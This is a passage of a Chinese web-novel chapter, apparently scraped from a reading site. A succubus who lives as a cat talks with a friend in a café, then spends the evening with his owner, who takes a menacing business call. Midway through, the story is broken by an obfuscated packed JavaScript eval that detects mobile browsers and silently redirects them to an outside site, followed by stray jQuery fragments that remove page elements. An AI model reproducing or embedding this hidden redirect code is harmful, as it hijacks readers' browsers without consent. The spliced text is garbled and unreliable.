“嗯……”


    齐洛嘉下巴卡在两指之间摩挲着，表情凝重地观察对面的青年，缓慢开口，“结果你还是没有放弃眼镜啊。”


    林在栖拘谨地坐在椅子上，抬手拨弄了一下香槟色的发丝，眼镜已经重新回到他的脸上：“……我干嘛要放弃眼镜啊，都戴习惯了。”


    齐洛嘉气哼哼，故意夹着嗓子说话：“不戴眼镜的栖栖多可爱！从小都是咱们魔界育儿所第一漂亮宝宝~”


    林在栖脸臊红：“行了都小时候的评奖了，你还记着做什么呀。”


    对面坏心眼的魅魔以手支颐，另一只手拿着木质小勺子挥了挥：“我绝对不会忘记栖栖获得过的荣誉！”


    “谢谢你不忘记啊。”林在栖虚着眼，拿起面前的咖啡啜了口。


    齐洛嘉搅动着自己的咖啡，望了望周围的环境：“不过说真的，樾湖这住宅环境是真不错。”他笑了笑，“我都想搬过来住了。”


    为了方便林在栖过来和回去，齐洛嘉特地在樾湖公园旁找了一家格外有情调的咖啡馆，结果打开点评软件一看，人均消费200+。


    两只没什么大钱的魅魔受到惊吓，哆哆嗦嗦选择在连锁咖啡店里见面，看到令魔安心的价格，才放下心来。


    生怕因为在樾湖公园附近，连锁咖啡店也要涨价。


    樾湖公园生态环境很好，各项基础设施都做得不错，难怪是C市有名的富人区。


    林在栖很少来这里，这回也是第一次在这儿喝上一杯咖啡：“是的，他家很大，很舒服。”


    “他？”


    捕捉关键词，齐洛嘉立刻转移话题：“哎，你吃人性精气罐没有？味道如何？”


    林在栖皱了皱鼻子，歪头回忆：“嗯，算吃了吧？光是贴着就能恢复……”


    “你就光贴着？”齐洛嘉差点拔高声音，还好在脱口而出的一瞬间控制住了自己，“哎哟栖栖，你为什么不冲一把？！你得吃到精华部分，光贴可不够！”


    魅魔对情事方面的道德感看得不重，很少有林在栖那样支支吾吾说不出一句荤话的，像齐洛嘉这种荤素搭配着都来的才是大多数。


    林在栖不在意：“先贴着再说吧，能恢复就行了。”


    齐洛嘉恨铁不成钢地瞪着自己胸无大志的朋友，狠狠叹了口气：“要是是我，这几天都不用出门……”


    不出门，还得把床单洗个几遍才行。


    “说起来，”齐洛嘉咬着木勺问，“我都不知道人形精气罐长什么样，有没有照片给我看看？”


    林在栖打开悬墨科技官网：“喏。”


    齐洛嘉本来还很随意，一看到谢松厌的照片登时瞪大了眼睛：“我靠，这也太帅了吧！”


    他言之凿凿：“一看就很能干！”


    林在栖：“……你在说哪方面的能干。”


    齐洛嘉眨眨眼，神色无辜：“你觉得我在说哪方面就是哪方面。”


    林在栖不说话了，再说下去，就是给齐洛嘉肆意发挥的余地。


    “不过你都吃、不对，贴上了，我能去看你吗？”齐洛嘉喝了口咖啡，问。


    青年扶了扶眼镜，面露难色：“不了吧。”


    他还是不好意思组织语言告诉齐洛嘉，自己在人家家里傻乐着做猫呢。


    齐洛嘉有点失望，但很快自己把理由合理上了：“我懂了，是他占有欲很强，不许你出来见人？”


    他上上下下打量林在栖：“你瞧你，出来还得看八百回时间。”


    青年抿唇，看齐洛嘉越说越离谱，省得谢松厌的人设在齐洛嘉嘴里越来越奇怪，他还是老实坦白了：“其实……我在他家是以猫形态出现的。”


    他有点羞愧地低下脑袋，通常魅魔都不屑用原型去吸引人类——大多数魅魔坚持原型太可爱，不够性感，所以没有任何杀伤力。


    齐洛嘉：“？”


    林在栖羞赧地向齐洛嘉解释了一番完整的来龙去脉，听完后的齐洛嘉扶额：“栖栖，你不能为了五斗米折腰……”


    但他也很意外，人类竟然真的会因为魅魔原型的外表上钩。


    林在栖掰着指头和他算：“可是他家饭很好吃，他人也很好吃。”


    齐洛嘉：“……”


    齐洛嘉：“……好吧，你赢了。”


    推了推喝了个干净的咖啡杯，齐洛嘉正色起来：“可是栖栖，你有没有考虑过一个问题。”


    “什么问题？”


    “小猫的寿命是有限的，那么等你到了普通猫能承受的寿命时间，你是不是要考虑离开的问题？”


    林在栖眼睫颤了颤，不说话。


    齐洛嘉认真地望着他：“到时候你在人类社会以什么样的身份出现，你得好好考虑。”


    林在栖手指摸索杯壁，他承认齐洛嘉说得对。


    但现在从悬墨辞职的他要做什么，他也不知道。


    魅魔考试说紧迫也不紧迫，只是给了他一个短期的目标。可长远来说，林在栖是迷茫的。


    齐洛嘉在人类社会倒是有一项稳定的工作：他自己开了家摄影工作室，因此时间还很自由。


    “不过以你的能力来说，”齐洛嘉看林在栖沉默，不由开口道，“想做什么，应该都不是问题。”


    林在栖垂眸，轻轻“嗯”了一声：“但是你说得对……我该好好想想了。”


    能待在谢松厌身边的时间，恐怕一直都是有限制的，他是得要给自己想好出路。


    *


    夜已深，谢松厌才回到家。等他走到卧室，发现猫正趴在床中间睡觉。


    小猫仰躺着，四爪朝天，凑近了还能听见细微的呼噜声。


    男人在进门时已脱了外套，他轻轻挽起衬衫的袖子露出结实的小臂，坏心眼地将手摁在了小猫肚子上。


    “呜喵……”


    肚子突然出现被捂住的触感，睡得正香的林在栖不由掀开眼皮，撑起一道缝隙，模模糊糊看见了高大的人影。


    林在栖惊醒了。


    赶着早点的时间回家后，他先是在客厅打扫的阿姨面前露了把脸，接着就跑到卧室玩来玩去，嫌无聊才跳上床睡觉，一不小心睡得太沉，一下睡到了谢松厌回来。


    男人力度很轻，只是轻轻摸了摸绒毛：“醒了？睡得挺熟。”


    林在栖心虚地挪开眼睛。


    扫过木木带着心虚的脸，放到以前，谢松厌决计想不到，他还有观察猫脸色的一天。


    注视林在栖半晌，男人的手移开，轻轻揉了揉他脑袋：“是不是在家很无聊？”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366175|183690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    林在栖：嗯？他怎么看出来的？


    抱住男人的大手，林在栖舔了下他的手指，“喵呜”一声，表示他说得对。


    略微沉吟，谢松厌问：“木木，猫可以玩平板吧？”


    林在栖和他对视，心说你问我我问谁。


    但谢松厌似乎觉得玩平板是个好办法，他的手从林在栖怀里抽离，接着去了书房，拿出自己很久都没用过的平板，充了会儿电才递给林在栖：“木木，玩这个。”


    林在栖随意刨了刨，不想在他面前暴露自己不是文盲的事实，假装对平板不感兴趣。


    谢松厌搜索了下，重新在平板上下了个猫能玩的游戏，点开游戏，屏幕上开始出现游来游去的金鱼。


    他将平板重新放在林在栖面前：“玩吧。”


    布偶猫懒洋洋地坐起来，肉垫软软拍下去，“啪叽”一下，一条鱼像烟花一样炸开。


    猫尾巴摆了摆：有点像打地鼠。


    小猫掌几爪下去，又是几个烟花炸开。


    “喜欢？”谢松厌坐在床边，看他玩。


    “喵喵~”


    喜欢！


    这样有了平板，林在栖更喜欢这里了！


    看着全身心沉浸在“打地鱼”的小猫，谢松厌懒懒地有一搭没一搭摩挲他动来动去的翅膀。


    手机振动，男人拿起来一看，顿时兴致全无。


    眸色敛深，谢松厌离开了床，拉开卧室阳台门走了出去。


    等那通电话打了三遍，谢松厌才慢慢接起。


    电话另一边，除了细微的电流声，只有男人粗重的呼吸。


    谢松厌屈起手臂，搭在阳台的栏杆上，回身看着玻璃窗，室内林在栖尾巴翘起弧度，沉迷打游戏。


    “陆勇。”男人毫不意外地叫出来电人的名字。


    陆勇的话像是从牙缝里挤出来的：“谢总……真是好大的手笔。”


    谢松厌轻笑：“看来我送给陆总的礼物，你很喜欢啊。”


    “呵呵，查税而已，你以为我怕这个？”陆勇咬牙道，“难道你就不怕我把你的过往抖露出来吗？”


    男人漫不经心，他漆黑的眼眸随着林在栖的动作转动，小猫已经跳下床，哒哒哒不知道出去干什么：“你可能没有这个机会。”


    陆勇有了不好的预感：“你什么意思——”


    “字面意思，陆总，今天就聊到这儿吧。”谢松厌勾着嘴角，眼里一点笑意也无。


    “谢松厌！你把话说清楚——”


    根本没有给对方破口大骂的机会，谢松厌干脆利落地挂断了电话。


    低头看着黑了屏的手机，谢松厌望见了自己一片冰冷的脸。


    过往依旧在影响他，他从未摆脱过。


    “咪嗷！”


    木木极具穿透力的大叫透过玻璃传到阳台上，谢松厌回过神，布偶猫徒劳地扒拉着玻璃窗，一片松软的毛贴在玻璃上都变得扁扁的。


    扯出一缕笑意，身上的冷意忽地散了，谢松厌走到阳台门边，替抓挠的布偶猫开了门。


    林在栖眨巴眼，抬头迷茫地看向谢松厌，不知道自家老板在阳台上看手机发呆干嘛。


    “木木，”男人垂眸盯着他，忽地说，“明天，你要不陪我上班吧？”